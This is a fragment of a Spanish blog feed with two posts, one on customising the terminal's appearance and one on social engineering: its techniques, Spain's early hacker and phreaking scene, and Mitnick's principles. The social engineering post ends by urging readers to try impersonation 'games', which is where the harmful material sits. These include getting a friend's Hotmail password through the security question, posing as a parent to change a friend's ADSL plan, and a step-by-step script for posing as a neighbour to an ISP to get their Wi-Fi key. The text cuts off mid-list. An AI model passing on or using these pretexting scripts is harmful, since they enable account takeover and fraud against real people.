href="http://1.bp.blogspot.com/_adYnwobHI2E/S0zHSiZY13I/AAAAAAAAARQ/v1JB-EXGg1k/s1600-h/terminal_modificado.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S0zHSiZY13I/AAAAAAAAARQ/v1JB-EXGg1k/s320/terminal_modificado.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Tras la captura de pantalla que añadí a la entrada sobre Emesene, alguno que otro me ha preguntado como tengo el &lt;b&gt;terminal&lt;/b&gt; con esos &lt;b&gt;colores&lt;/b&gt;. La respuesta en realidad es bien &lt;b&gt;sencilla&lt;/b&gt;. Si queremos &lt;b&gt;modificar gráficamente&lt;/b&gt; nuestro terminal sólo tendremos que abrir un terminal: &lt;b&gt;Aplicaciones &amp;gt; Accesorios &amp;gt; Terminal&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S0zHd3WlTTI/AAAAAAAAARY/yEVdmK-aytE/s1600-h/general_terminal.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S0zHd3WlTTI/AAAAAAAAARY/yEVdmK-aytE/s320/general_terminal.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Una vez abierto &lt;b&gt;pulsaremos&lt;/b&gt; sobre &lt;b&gt;Editar &amp;gt; Preferencias del perfil&lt;/b&gt;&lt;br /&gt;Se nos abrirá un &lt;b&gt;panel&lt;/b&gt; con ciertas &lt;b&gt;opciones&lt;/b&gt;. En la &lt;b&gt;pestaña General &lt;/b&gt;modificaremos la tipografía por &lt;b&gt;Monospace&lt;/b&gt; pero la &lt;b&gt;cambiaremos&lt;/b&gt; a &lt;b&gt;Bold&lt;/b&gt; para que reesalte más. &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S0zHiIO61bI/AAAAAAAAARg/Olw6waJVKb8/s1600-h/terminal_colores.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S0zHiIO61bI/AAAAAAAAARg/Olw6waJVKb8/s320/terminal_colores.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;En la &lt;b&gt;pestaña de colores&lt;/b&gt;, &lt;b&gt;desactivaremos&lt;/b&gt; la casilla &lt;b&gt;Usar colores del tema&lt;/b&gt; del sistema y &lt;b&gt;usaremos&lt;/b&gt; de los &lt;b&gt;esquemas&lt;/b&gt; incluidos el de &lt;b&gt;verde sobre negro&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S0zHlLWyiGI/AAAAAAAAARo/arAB6ZpOT18/s1600-h/terminal_transparente.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S0zHlLWyiGI/AAAAAAAAARo/arAB6ZpOT18/s320/terminal_transparente.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;Por último en la &lt;b&gt;pestaña fondo&lt;/b&gt; escogeremos &lt;b&gt;Fondo transparente&lt;/b&gt; y moveremos la barra hasta aproximadamente el 40%.&lt;br /&gt;&lt;br /&gt;En cualquier caso siempre puedes modificar el terminal como quieras, para gustos los colores!&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;Don ZeYt te saluda!&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9019632120120195302-7766734782347794993?l=donzeyt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://donzeyt.blogspot.com/feeds/7766734782347794993/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://donzeyt.blogspot.com/2010/01/modificar-terminal-graficamente.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7766734782347794993'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9019632120120195302/posts/default/7766734782347794993'/><link rel='alternate' type='text/html' href='http://donzeyt.blogspot.com/2010/01/modificar-terminal-graficamente.html' title='Modificar terminal gráficamente'/><author><name>ZeYt</name><uri>http://www.blogger.com/profile/08048810414795727102</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_adYnwobHI2E/S3nIZ9TNjPI/AAAAAAAAAZc/BfOGgyGauK4/S220/ava.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_adYnwobHI2E/S0zHSiZY13I/AAAAAAAAARQ/v1JB-EXGg1k/s72-c/terminal_modificado.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9019632120120195302.post-7982715825513731111</id><published>2010-01-12T06:12:00.007+01:00</published><updated>2010-01-12T06:48:22.719+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ingeniería Social'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Kevin Mitnick'/><title type='text'>Ingeniería Social - Herramienta muy potente.</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0wES66QssI/AAAAAAAAAQo/_2XzgrjUDNM/s1600-h/ingenieria_social.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0wES66QssI/AAAAAAAAAQo/_2XzgrjUDNM/s320/ingenieria_social.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: xx-small;"&gt;* Recuperación de contraseña hotmail.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;Con el término &lt;b&gt;ingeniería social&lt;/b&gt; se define el conjunto de &lt;b&gt;técnicas psicológicas&lt;/b&gt; y&lt;b&gt;habilidades sociales&lt;/b&gt; utilizadas de forma &lt;b&gt;consciente&lt;/b&gt; y muchas veces &lt;b&gt;premeditada&lt;/b&gt; para la &lt;b&gt;obtención de información&lt;/b&gt; de terceros.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;No existe una limitación&lt;/b&gt; en cuanto al &lt;b&gt;tipo de información&lt;/b&gt; ytampoco en la utilización posterior de la información obtenida. Puedeser &lt;b&gt;ingeniería social&lt;/b&gt; el obtener de un &lt;b&gt;profesor las preguntas de unexamen&lt;/b&gt; o la &lt;b&gt;clave de acceso de la caja fuerte del Banco de España&lt;/b&gt;. Sinembargo, el origen del término tiene que ver con las actividades de&lt;b&gt;obtención de información de tipo técnico&lt;/b&gt; utilizadas por &lt;b&gt;hackers&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Un hecho importante es que el acto de ingeniería social acabaen el momento en que se ha &lt;b&gt;conseguido la información buscada&lt;/b&gt;. Lasacciones que esa información pueda facilitar o favorecer no se enmarcanbajo este término. En muchos casos los &lt;b&gt;ingenieros sociales&lt;/b&gt; no tocan unordenador ni acceden a sistemas, pero sin su colaboración otros notendrían la posibilidad de hacerlo.&lt;br /&gt;&lt;script type="text/javascript"&gt;if (window.showTocToggle) { var tocShowText = "show"; var tocHideText = "hide"; showTocToggle(); } &lt;/script&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=9019632120120195302&amp;amp;postID=7982715825513731111" id=".C2.BFPor_qu.C3.A9_el_.22caballo_de_Troya.22_no_es_Ingenier.C3.ADa_Social.3F" name=".C2.BFPor_qu.C3.A9_el_.22caballo_de_Troya.22_no_es_Ingenier.C3.ADa_Social.3F"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;¿Por qué el "caballo de Troya" no es Ingeniería Social?&lt;/h2&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0wEYG4ruNI/AAAAAAAAAQw/EongInpoUV4/s1600-h/troyanos.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0wEYG4ruNI/AAAAAAAAAQw/EongInpoUV4/s320/troyanos.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;Existe una tendencia que trata la &lt;b&gt;ingeniería social &lt;/b&gt;como una formade &lt;b&gt;engaño&lt;/b&gt;, equiparable al &lt;b&gt;caballo de Troya&lt;/b&gt; o a cualquier forma de &lt;b&gt;timo&lt;/b&gt;,como el de la estampita.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;Tendremos en cuenta 2 factores al respecto: en primer lugar, enel caso de la IS puede no haber engaño de ningún tipo. Una persona lepide a otra su &lt;b&gt;contraseña&lt;/b&gt; o cualquier otra &lt;b&gt;información&lt;/b&gt; en un &lt;b&gt;entorno deconfianza&lt;/b&gt; y la otra se la da sin presión ni engaño alguno. Luego elmito de que la IS se basa en un engaño, no es correcto en todos loscasos.&lt;br /&gt;&lt;br /&gt;Y segundo: suele existir un componente&lt;b&gt; técnico o tecnológico&lt;/b&gt;.El timo de la estampita y la ingeniería social no tienen mucho que verporque ésta se basa en &lt;b&gt;amplios conocimientos de psicología aplicada yde las tecnologías sobre las que se quiere obtener información&lt;/b&gt;.&lt;br /&gt;Por ejemplo: en el mundo del underground, de los &lt;b&gt;hackers&lt;/b&gt;,las relaciones se basan en el &lt;b&gt;respeto&lt;/b&gt;. Son mundos bastante &lt;b&gt;cerrados&lt;/b&gt; degente que en algunos casos pueden realizar &lt;b&gt;actividades ilegales&lt;/b&gt;. Parapoder acceder a él hay que tener tantos &lt;b&gt;conocimientos &lt;/b&gt;como ellos y asíser &lt;b&gt;considerado&lt;/b&gt; como un "&lt;b&gt;igual&lt;/b&gt;".&lt;br /&gt;&lt;br /&gt;Además deberán &lt;b&gt;aportarse conocimientos&lt;/b&gt;a compartir que de forma clara permitan &lt;b&gt;ganarse el respeto&lt;/b&gt; de estosgrupos. Sólo de esta forma se tendrá acceso a &lt;b&gt;determinadasinformaciones&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Esto mismo ocurre en el mundo de las &lt;b&gt;empresas&lt;/b&gt; de &lt;b&gt;altatecnología&lt;/b&gt; en las que se desarrollan &lt;b&gt;proyectos reservados&lt;/b&gt;, donde la&lt;b&gt;calificación técnica&lt;/b&gt; necesaria para&lt;b&gt;entender la información&lt;/b&gt; que se quiere obtener es &lt;b&gt;muy alta&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Lasoperaciones de &lt;b&gt;ingeniería social&lt;/b&gt; de este nivel pueden llevar meses de&lt;b&gt;cuidada planificación&lt;/b&gt; y de&lt;b&gt;evaluación de muchos parámetros&lt;/b&gt;, van más allá de una actuación puntualbasadaen una llamada con más o menos gracia o picardía.&lt;br /&gt;&lt;br /&gt;Muchas veces, el &lt;b&gt;Ingeniero Social&lt;/b&gt; simplemente observa elentorno y&lt;b&gt; aprovecha datos que están a la vista&lt;/b&gt; cuando el sentido comúnindica que &lt;b&gt;deberían guardarse en un lugar seguro&lt;/b&gt;. Es el caso de unservidor de una delegación de la &lt;b&gt;Agencia Tributaria española&lt;/b&gt; cuya&lt;b&gt;contraseña&lt;/b&gt; está puesta en un “&lt;b&gt;post-it&lt;/b&gt;” en su pantalla. Sólo hay quetener capacidad de observación de este tipo de detalles.&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=9019632120120195302&amp;amp;postID=7982715825513731111" id=".C2.BFQu.C3.A9_tiene_que_ver_la_Ingenier.C3.ADa_Social_con_la_seguridad_inform.C3.A1tica.3F" name=".C2.BFQu.C3.A9_tiene_que_ver_la_Ingenier.C3.ADa_Social_con_la_seguridad_inform.C3.A1tica.3F"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;¿Qué tiene que ver la Ingeniería Social con la seguridad informática?&lt;/h2&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_adYnwobHI2E/S0wIP4CRN5I/AAAAAAAAARI/q36zCZ--iPc/s1600-h/seguridad_informatica.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_adYnwobHI2E/S0wIP4CRN5I/AAAAAAAAARI/q36zCZ--iPc/s200/seguridad_informatica.jpg" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;/div&gt;La&lt;b&gt; seguridad informática &lt;/b&gt;tiene por objetivo el&lt;b&gt; asegurar que losdatos&lt;/b&gt; que almacenan nuestros ordenadores se mantengan&lt;b&gt; libres decualquier problema&lt;/b&gt;, y que el servicio que nuestros sistemas prestan serealice con la mayor efectividad y &lt;b&gt;sin caídas&lt;/b&gt;. En este sentido, laseguridad informática abarca cosas tan dispares como:&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;blockquote&gt;* Los aparatos de aire acondicionado que mantienen los sistemas en las &lt;b&gt;temperaturas adecuadas&lt;/b&gt; para trabajar sin caídas.&lt;br /&gt;* La &lt;b&gt;calificación del equipo de administradores&lt;/b&gt; que deberáconocer su sistema lo suficiente como para mantenerlo funcionandocorrectamente.&lt;br /&gt;* La definición de &lt;b&gt;entornos&lt;/b&gt; en los que las&lt;b&gt; copias de seguridad&lt;/b&gt; han de guardarse para ser seguros y como hacer esas copias.&lt;br /&gt;* El &lt;b&gt;control del acceso físico&lt;/b&gt; a los sistemas.&lt;br /&gt;* La elección de un &lt;b&gt;hardware&lt;/b&gt; y de un &lt;b&gt;software&lt;/b&gt; que no de problemas.&lt;br /&gt;* La correcta &lt;b&gt;formación de los usuarios del sistema&lt;/b&gt;.&lt;br /&gt;* El desarrollo de&lt;b&gt; planes de contingencia&lt;/b&gt;.&lt;br /&gt;&lt;/blockquote&gt;&lt;ol&gt;&lt;/ol&gt;&lt;ul&gt;&lt;/ul&gt;Debemos tener en cuenta que una gran parte de las &lt;b&gt;intrusiones ensistemas&lt;/b&gt; se realizan &lt;b&gt;utilizando datos&lt;/b&gt; que se obtienen de sus &lt;b&gt;usuarios&lt;/b&gt;mediante diferentes métodos y con la intervención de personasespecialmente entrenadas, los ingenieros sociales.&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=9019632120120195302&amp;amp;postID=7982715825513731111" id="T.C3.A9cnicas_de_Ingenier.C3.ADa_Social" name="T.C3.A9cnicas_de_Ingenier.C3.ADa_Social"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Técnicas de Ingeniería Social&lt;/h2&gt;Tres tipos, según el nivel de interacción del ingeniero social:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;Técnicas Pasivas&lt;/b&gt;: &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Observación &lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;b&gt;Técnicas no presenciales: &lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Recuperar la contraseña&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ingeniería Social y &lt;b&gt;Mail&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * IRC u otros chats &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * &lt;b&gt;Teléfono&lt;/b&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Carta y fax &lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;b&gt;Técnicas presenciales no agresivas: &lt;/b&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Buscando en La basura &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Mirando por encima del hombro &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Seguimiento de personas y vehículos &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Vigilancia de Edificios &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Inducción &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Entrada en Hospitales &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Acreditaciones &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ingeniería social en situaciones de crisis &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Ingeniería social en aviones y trenes de alta velocidad &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Agendas y teléfonos móviles &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Desinformación &lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;b&gt;Métodos agresivos&lt;/b&gt;:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Suplantación de personalidad &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Chantaje o extorsión &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Despersonalización &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Presión psicológica &lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;/blockquote&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=9019632120120195302&amp;amp;postID=7982715825513731111" id="Cu.C3.A1ndo_nace_la_Ingenier.C3.ADa_Social_en_Espa.C3.B1a" name="Cu.C3.A1ndo_nace_la_Ingenier.C3.ADa_Social_en_Espa.C3.B1a"&gt;&lt;/a&gt;&lt;br /&gt;&lt;h2&gt;Cuándo nace la Ingeniería Social en España&lt;/h2&gt;Corre el año &lt;b&gt;1986&lt;/b&gt;/87, se empiezan a instalar algunos sistemas BBS enMadrid, Barcelona, Zaragoza. No había &lt;b&gt;acceso a Internet&lt;/b&gt; mas allá de lasuniversidades (en estas sólo el profesorado tenía acceso, es elnacimiento de &lt;b&gt;RedIris&lt;/b&gt;) y de las conexiones &lt;b&gt;UUCP&lt;/b&gt;que, más tarde, montaría la compañía Goya Servicios Telemáticos y queeran &lt;b&gt;carísimas&lt;/b&gt; para la mayoría de usuarios. No existía Web, únicamente&lt;b&gt;News&lt;/b&gt;, &lt;b&gt;Mail&lt;/b&gt; y los protocolos de búsqueda de información tipo gopher oarchie. Los servidores estaban instalados sobre todo en &lt;b&gt;USA&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Lo que uno podía encontrar en una BBS de aquella época eran&lt;b&gt;ficheros agrupados por temas&lt;/b&gt; y &lt;b&gt;mensajes que corrían de unos usuarios aotros&lt;/b&gt;, utilizando la base de lo que después sería la red Fidonet u otras basadas en la misma tecnología.&lt;br /&gt;&lt;br /&gt;En estas redes, las &lt;b&gt;llamadas entre los nodos&lt;/b&gt; las realizabanusuarios "mecenas" que corrían con el &lt;b&gt;precio de esas llamadas&lt;/b&gt;. Los&lt;b&gt;módems&lt;/b&gt; eran &lt;b&gt;muy lentos&lt;/b&gt;, 1200 o 2400 bps. los mas rápidos, y las&lt;b&gt;llamadas eran muy caras&lt;/b&gt;. Esto tenía como consecuencia que un usuario &lt;b&gt;nopudiera bajarse toda la información&lt;/b&gt; que quería ni conectarse ademasiadas &lt;b&gt;BBS&lt;/b&gt;, so pena de arruinarse con la factura del teléfono... oarruinar a sus padres.&lt;br /&gt;&lt;br /&gt;Así como estaban las cosas, era&lt;b&gt; difícil compartir información&lt;/b&gt; propia conotros usuarios y más aún&lt;b&gt;conseguir información técnica interesante&lt;/b&gt; que sí se podía encontrar enotros lugaresde Europa y Estados Unidos. Los grupos de &lt;b&gt;hackers&lt;/b&gt; buscaban formas de&lt;b&gt;abaratar las llamadas de teléfono&lt;/b&gt; y conectarse a otros lugares. En sumayoría &lt;b&gt;menores con edades entre los 11 y los 20&lt;/b&gt; años, no disponían demás ingresos que la paga del domingo.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_adYnwobHI2E/S0wFFMaLY9I/AAAAAAAAAQ4/TISqXEVAriY/s1600-h/Blue_Box_in_museum.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_adYnwobHI2E/S0wFFMaLY9I/AAAAAAAAAQ4/TISqXEVAriY/s320/Blue_Box_in_museum.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: xx-small;"&gt;*Blue box exhibida en un museo.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;El &lt;b&gt;phreaking&lt;/b&gt;era casi una necesidad y había en nuestro país &lt;b&gt;verdaderos magos &lt;/b&gt;del&lt;b&gt;sistema telefónic&lt;/b&gt;o que proveían de "soluciones" para que los demás&lt;b&gt;pudieran pasar el mayor tiempo posible conectados con el menor coste&lt;/b&gt;.Es importante entender que si un usuario español deseaba unainformación de una BBS finlandesa, &lt;b&gt;debía llamar a Finlandia&lt;/b&gt; yconectarse a dicha BBS, ya que no había redes que compartieran lainformación de las BBS del Underground.&lt;br /&gt;Se utilizaban muchas técnicas para &lt;b&gt;no pagar las llamadas&lt;/b&gt;, desde el uso de "&lt;b&gt;bluebox&lt;/b&gt;"(&lt;a href="http://donzeyt.blogspot.com/2009/12/cine-codigo-linux-y-piratas-de.html"&gt;visto en Piratas de Sillicone&amp;nbsp; Valley&lt;/a&gt;), que eran útiles cuando el sistema de tarificación emitía para su control tonos enla "banda vocal", esto es, en la que se transmitía la voz, hasta accesos a través desistemas PAD (Packet Assembler Dissasembler).&lt;br /&gt;&lt;br /&gt;Sistemas casi siempre de &lt;b&gt;grandes compañías&lt;/b&gt; que permitían, desdeuna conexión de teléfono normal, conectarse a redes de paquetes como laespañola X.25 y a los que se accedía desde números 900 (¿Cuántoshackers de la época utilizaron el famoso PAD de la Shell Oil?) ytambién números de tarjetas de teléfono americanas, las llamadas“&lt;b&gt;callings cards&lt;/b&gt;” de MCI o de AT&amp;amp;T, que se conseguían de forma más omenos ilegal.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Virgin Boy &lt;/b&gt;era un danés que, con sus 15 años, había &lt;b&gt;descifradoel algoritmo&lt;/b&gt; de creación de los códigos de 14 dígitos de las tarjetasde AT&amp;amp;T y se dedicó durante años a &lt;b&gt;vender dichos números&lt;/b&gt; al módicoprecio de 100 dólares USA, hasta que desapareció de las redes hacia elaño 1995.&lt;br /&gt;&lt;br /&gt;En muchos casos, para&lt;b&gt; conseguir informaciones&lt;/b&gt; de cómo utilizarciertas &lt;b&gt;funcionalidades de una central de telefónica&lt;/b&gt;, o el acceso a unared, era necesario el uso de &lt;b&gt;ingeniería social&lt;/b&gt;. Así, algunos &lt;b&gt;hackers&lt;/b&gt;comenzaron a &lt;b&gt;especializarse&lt;/b&gt; en esas tareas. El abanico de posibilidadesse multiplicó: no sólo el &lt;b&gt;sistema telefónico&lt;/b&gt; sinó las &lt;b&gt;configuracionesde servidores&lt;/b&gt;, &lt;b&gt;contraseñas de sistemas&lt;/b&gt;, &lt;b&gt;datos de compañías&lt;/b&gt; empezaron aser objetivo de los ingenieros sociales, que al facilitárselos a otros&lt;b&gt;hackers&lt;/b&gt; les facilitaban en mucho sus tareas, ya que se podían dedicar alo que realmente les interesaba, &lt;b&gt;aprender sistemas&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;Son los tiempos en los que nacen&amp;nbsp;!Hispahack, Apòstols, AFL, KhK Conspiradoresy muchos otros grupos ya extinguidos. En cada uno de ellos hay por lomenos un &lt;b&gt;experto en ingeniería social&lt;/b&gt;, o bien buscan a especialistas enesta materia para temas concretos.&lt;br /&gt;&lt;br /&gt;Esto supone un importante &lt;b&gt;cambio sociológico&lt;/b&gt; pues los hackersson, en su mayoría, &lt;b&gt;autodidactas&lt;/b&gt; que han aprendido muchísimo en la&lt;b&gt;soledad de su habitación&lt;/b&gt;, &lt;b&gt;leyendo manuales&lt;/b&gt;, &lt;b&gt;conectándose a lugares delos que aprendían&lt;/b&gt;; sin embargo, es cuando comienzan a trabajar enequipo cuando sus &lt;b&gt;logros&lt;/b&gt; se hacen mas &lt;b&gt;importantes&lt;/b&gt; y, aunque existe elcelo por la información, dentro del grupo esta se comparte de unamanera fluida.&lt;br /&gt;&lt;br /&gt;Se produce un &lt;b&gt;fenómeno interesante&lt;/b&gt; a este respecto: lapráctica de &lt;b&gt;técnicas de ingeniería social&lt;/b&gt; para conseguir información deotros grupos de hackers.&lt;br /&gt;Estos grupos crecían de 2 formas: la primera porque loscomponentes estaban en la misma ciudad o eran usuarios de la misma BBSy, en reuniones de usuarios de las BBS, se conocían hablando de sustemas favoritos y se ponían a&lt;b&gt; trabajar juntos&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;La otra era cuando en alguno de esos grupos se te invitaba aentrar porque habían leído un documento escrito por ti en alguna BBS, oalgún mensaje dejado en las áreas de hackers que estaban abiertas atodo el mundo. En casi todas las BBS se abrían áreas ocultas sólo paraun grupo determinado de usuarios y otras abiertas que servían un pococomo cantera o filtro.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;Bases de la Ingeniería Social&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_adYnwobHI2E/S0wHavgAuDI/AAAAAAAAARA/GvtXOJ4SH-o/s1600-h/atrapame_si_puedes.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_adYnwobHI2E/S0wHavgAuDI/AAAAAAAAARA/GvtXOJ4SH-o/s320/atrapame_si_puedes.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size: xx-small;"&gt;*Escena de la película atrapame si puedes, claro ejemplo de la ingeniería social. &lt;/span&gt;&lt;b&gt;&lt;span style="font-size: x-large;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt; &lt;br /&gt;&lt;/div&gt;&amp;nbsp;El famoso &lt;b&gt;Kevin Mitnick&lt;/b&gt;, propuso las bases de la IS en 4 sencillas frases:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;* Todos queremos ayudar.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;* El primer movimiento es siempre de confianza hacia el otro.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;* No nos gusta decir No.&lt;/b&gt;&lt;br /&gt;&lt;b&gt;* A todos nos gusta que nos alaben.&lt;/b&gt;&lt;br /&gt;&lt;ol&gt;&lt;/ol&gt;&lt;/blockquote&gt;Además demostró en directo en una conferencia de Buenos Aires en escasos minutos y mediante tan sólo 6 llamadas lo fácil que era conseguir el código en desarrollo de un nuevo móvil que no estaba ni anunciado para el mercado.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;¿Puedo probar?&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;Por supuesto. Si de verdad te gusta este tema lo primero que te &lt;b&gt;recomiendo&lt;/b&gt; es que te andes con &lt;b&gt;cuidado&lt;/b&gt;. La suplantación de identidad es un &lt;b&gt;delito&lt;/b&gt;. Ahora que ya sabes esto, te invito a que juegues a tres divertidos juegos:&lt;br /&gt;&lt;/div&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Intenta &lt;b&gt;recuperar la contraseña de hotmail&lt;/b&gt; de un amigo tuyo hablando con el de los viejos tiempos y preguntándole por la respuesta de su contraseña secreta.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Si conoces el número de te &lt;b&gt;teléfono fijo&lt;/b&gt; de un amigo tuyo y su &lt;b&gt;compañía&lt;/b&gt;, hazte pasar por su padre o madre y&lt;b&gt; realiza un aumento de velocidad&lt;/b&gt; en su &lt;b&gt;ADSL&lt;/b&gt;.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Si sabes que tu vecino tiene wifi y esta esta en WEP y es un cateto en ordenadores, intenta conseguir su contraseña. Llama a su proveedor de servicios, hazte pasar por el, di que te has comprado un portatil de los chiquitos y que no te acuerdas de la contraseña del &lt;i&gt;guailex&lt;/i&gt;. Te dirá que mires la pegatina del router y tu le dirás que se esta raspada la pegatina y no es legible. Si te pregunta el modelo de router hazte el cateto, ella lo tiene todo en la pantalla, acabará perdiendo la paciencia y dándotelo todo.&lt;br /&gt;&lt;/blockquote&gt;&amp;nbsp;También te recomiendo que pruebes juegos presenciales. Aquí os dejo dos ejemplos que a mi me funcionaron xD.&lt;br /&gt;&lt;blockquote&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; * En festivales, te acercas a la barra y 